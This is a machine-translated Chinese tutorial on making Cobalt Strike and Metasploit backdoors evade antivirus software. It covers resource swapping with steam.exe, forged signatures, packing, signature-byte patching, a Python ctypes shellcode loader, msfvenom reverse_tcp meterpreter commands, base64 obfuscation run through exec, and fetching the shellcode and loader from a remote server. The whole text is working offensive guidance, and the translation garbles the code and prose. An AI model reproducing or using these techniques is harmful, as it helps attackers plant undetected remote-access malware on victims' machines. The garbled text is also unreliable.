cs shellcode免杀,shellcode在线免杀
Python外壳代码没有杀死
一.导言
随着安全厂商的成熟,做不杀马越来越难,成本也越来越高。它在短时间内使用新的开源项目进行分析,并将它们添加到特性库中。现在不杀项目不会很快就能杀了,但是也有两个方向可以发展。第一,学习他们的想法,自己实现,进行特色免疫。第二种是对原项目进行改造,检查其自身特性并将其移除。经过测试,可以实现无杀伤。
二。查杀软件的检查方法
1.签名检测
2.相关内容的检测(例如使用loader加载shellcode)需要打开内存,将shellcode加载到内存中,最后执行内存区shellcode。这些步骤被反病毒人员提取为特征。调用一组打开内存的函数(比如virtualAlloc)后,使用virtualProtect将内存改为一个标记位,然后调用内存。
3.动态行为检测(一般调用系统底层的api,敏感函数的软标记))。
三。常用的非杀伤技术
修改模式文件
命令不要杀花。
别再加炮弹了,干掉他们。
记忆不需要被扼杀。
二次编译
分离和杀戮豁免
资源变化
无杀白名单
本文篇幅有限,我只说几个技术点。首先,我们来了解一下签名的概念。特征码是通过以特定方式扫描源代码而获得的特定病毒的唯一标识。目前主流的APT工具cobaltstrike和msf已经被各大杀毒软件厂商盯上了,所以这两款软件产生的后门无疑是秒杀。那么,如何消除签名呢?我觉得主要分为三个方面。(1)对于exe的外部修改,修改资源文件,添加shell,修改数字签名;2)在特征码定位工具myccl中找到特征码部分,修改其汇编指令;3)放入自己的shellcode loader中。
首先介绍一下我的第一个想法。
在这里,我将向您展示如何使用cobaltstrike,首先选择监听器生成木马。
很明显,特征码的所有成果都被火绒删除了,于是我们利用资源交换产生的后门木马,加上数字签名,加上案例,对原始特征码进行洗牌,杀毒软件把原始特征码
首先打开工具Restorator资源修改工具,打算将后门文件中的资源文件替换为普通steam软件中的资源文件。
拖动后门exe和steam.exe到工具中。
进行替换操作,将steam游戏的资源复制到后门程序中,完成替换。
我们发现后门程序的图标和信息发生了变化。
然后,k8工具用于修改数字签名360的签名。
添加后,我们来了最重要的一步是去壳。在这里,选壳也是很有讲究的。很多果壳产品都有加密壳,压缩壳…等等。我们得根据自己后门的情况来选择他们。添加一个shell可能会影响原程序的功能,所以必须逐个尝试不同的shell。目前,不同于杀毒软件的压缩壳upx已经引起了各大杀毒厂商的关注。所以删壳的效果是无法预期的。这里我们就用shell的优秀工具进行实验,打开软件加载后门。
在这里,你可以根据自己的需求选择外壳选项。开发能力弱的高手可以直接默认shell。
外壳完成了。我会确认的。
通过目前主流的ctdz和火绒,可以看到online正常工作。
现在我来介绍我的第二个想法。
要修改后门的签名,首先设置监听器并生成后门beacon2.exe。
显然又被举报了。我们的想法是用特征码定位工具定位特征码,打开myccl加载我们的后门程序。数组文件定位的原理是如何把整个段细分成几个小段,用软的方式导出检查。检查包含模式文件的部分,并进一步细分刚刚检查的代码部分。另外,在查杀软件不报毒之前,先检查软件并导出到签名部分,再修改签名。这种方法效率最高,但同时修改签名程序在最困难的情况下也无法正常工作。此外,修改数组文件requ
用于定位模式文件的经典工具是myccl工具,但是在这里,您将使用virtest工具来创建自动定位模式文件以节省时间。首先,打开工具,加载后门文件,并创建要测试的样本。
然后,装载测量对象的样本,并且在下一步骤中开始定位图案代码的检测。
在这里选择自动决策选项程序,可以自动找到模式码区间。
打开c32asm中的签名部分00044E38和00045EB1
我们可以通过为他的下一个数据段填充命令和数据来干扰原始程序。例如
推送ebp
推动esp
为什么要恢复栈基址
添加esp,-0C
添加esp,0C
推送eax
Jmp门户
在这里,你只能选择加花来填补垃圾数据,可惜一切都失败了。那为什么不选择修改汇编指令呢?为什么这么说?这是因为这里没有汇编指令的替代语言。Kill软件对cs和msf生成的后门签名做了非常细致的标记,通过修改apt工具的签名很难绕过检测。虽然签名是图,但是利用修改签名的思想,很容易修改自己编写的后门病毒签名。
实现了。修改特征码应该是我们的想法之一。分享我的第三个想法:自己写shellcoe加载器。
说到免杀python,要知道ctypes ctypes是Python的外部函数库。它提供C兼容的数据类型,并允许调用dll或共享库中的函数。详情请参考本文末尾的官方文档。简单来说,你可以使用ctypes库来执行python中的C代码。
事不宜迟,代码:
-编码:utf-8 - import ctypes
Buf=# CS或msf生成的外壳代码
shellcode=bytearray(shellcode)
ctypes . windll . kernel 32 . virtualalloc . restype=ctypes . c _ uint 64
ctypes.c_int(0)
ctypes.c_int(len(shellcode))
ctypes.c_int(0x3000)
ctypes.c_int(0x40)
ptr=ctypes . windll . kernel 32 . virtualalloc(ctypes . c _ int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf=(ctypes . c _ char * len(shellcode))。from_buffer(外壳代码)
ctypes . windll . kernel 32 . rtlmovememory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
安全属性
dwStackSize
lpStartAddress
lpParameter
dwCreationFlags
lpThreadId
""
handle=ctypes . windll . kernel 32 . create thread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes . windll . kernel 32 . waitforsingleobject(ctypes . c _ int(handle),ctypes.c_int(-1))
这个loader就是在内存中开辟一个内存空间,然后把我们生成的shellcode放到创建线程中执行。VirtualAlloc函数用于申请内存。这个功能还是比较敏感的。说白了,查杀软件会限制功能黑名单,所以总会有漏网之鱼。在github上,有大佬用不同的函数写了很多C loader调用代码,我们自然要混淆。有些方法是防病毒软件无法识别的。但这里我们以这台装载机为例。既然不需要这个特征码,那就需要混淆一下。
我们首先在msf上生成有效负载。
MSF venom-p windows/x64/meter preter/reverse _ TCP lhost=IP lport=8000-f py
然后放入loader进行测试和运行。
使用pyinstall打包程序联机成功打包exe,并被终止。
对于代码混淆,我们先介绍base64库,然后用msf用base64编码shellcode。
MSF venom-p windows/x64/meter preter/reverse _ TCP-encrypt base64 lhost=IP lport=8000-f py
添加代码
base64首先被解码,然后被传递和替换,并且使用原始的外壳代码加载器。
ctypes . windll . kernel 32 . virtualalloc . restype=ctypes . c _ uint 64
ptr=ctypes . windll . kernel 32 . virtualalloc(ctypes . c _ int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buf=(ctypes . c _ char * len(shellcode))。from_buffer(外壳代码)
ctypes . windll . kernel 32 rtlmovememory(ctypes . c _ uint 64(ptr),buf,ctypes.c_int(len(shellcode)))
handle=ctypes . windll . kernel 32 . create thread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes . c _ int(0),ctypes.pointer(ctypes.c_int(0))
ctypes . windll . kernel 32 . waitforsingleobject(ctypes . c _ int(handle),ctypes.c_int(-1))
改写成一句话,用base64加密。
y 3 r5 cgvzlndpbmrsbc5 rzxjuzwwzmi 5 wax j 0 dwf sqwxsb 2 mucmvzdhlwzsa 9 ign 0 exblcy 5 JX 3 vpbnq 2 ndtwdhigpsbjdhlwzxmud 2 luzgxslmtlcm 5 bdmylzpcnr 1 ywxbgxvyhjdhlwzxmuy 19 pbnqomcksign 0 exblcy 5 JX 2 ludchszw 4 oc hlbgxj 2 rlksign0 exblcy 5 JX 2 ludcgwedmwmdapl
然后通过exec(执行base64编码后的值)成功上线如图,以至于混淆了代码,即shellcode混淆和shellcode loader混淆。
生成的2.exe成功穿越360和tinder。
继续优化。如果我从shellcode loader中分离shellcode会怎样?那就是无离无杀。如果我把它们放在网络资源里而不是本地资源里呢?那就是无文件登陆。我通过http请求从我的远程服务器下载加密的shellcode和加密的shellcode loader,所以没有特征码,代码里只有一个请求远程资源的指令。
在我的远程服务器中打开http服务并创建1.txt,放入base64加密的shellcode 2.txt中,放入base64加密的shellcode loader中。
注意踩坑(base64中放的shellcode不要以字节流的格式放,要以字符串的形式,可以自己写脚本转换)
1.txt内容
2.txt内容
核心代码段成功接收了会话。
只有一个杀毒引擎报告了病毒,杀毒效果非常理想。
注意:(不同语言的shellcode和loader,免杀效果是不一样的。这里只演示python在其他语言中可以被杀死。小语种效果越好,不同的exe打包器效果不同。pyinstall其实可以用py2exe打包,代码中尽量避免敏感词也很有意思,这样也会降低查杀率。不同的炮弹有不同的效果。)
总结:免杀最重要的是理念。只有组合拳才能让免杀效果更好。比如上一次实验,我可以继续添加shells,修改资源文件,数字签名等。而且在代码混淆方面,我还可以执行aes加解密等复杂高强度的加密算法再次加密base64,增加了杀毒引擎还原源代码的难度。简而言之,我可以尽可能地消除特征码。而且,我们还可以使用前面介绍的修改功能,这是绕过软杀最直接的方法。当然还有白名单技术、二次编译等其他技术。这里空间有限,没办法再往前走了。免杀是一项经久不衰的技术,需要我们发散思维,经常学习。免杀技术是网络中攻防的实力较量。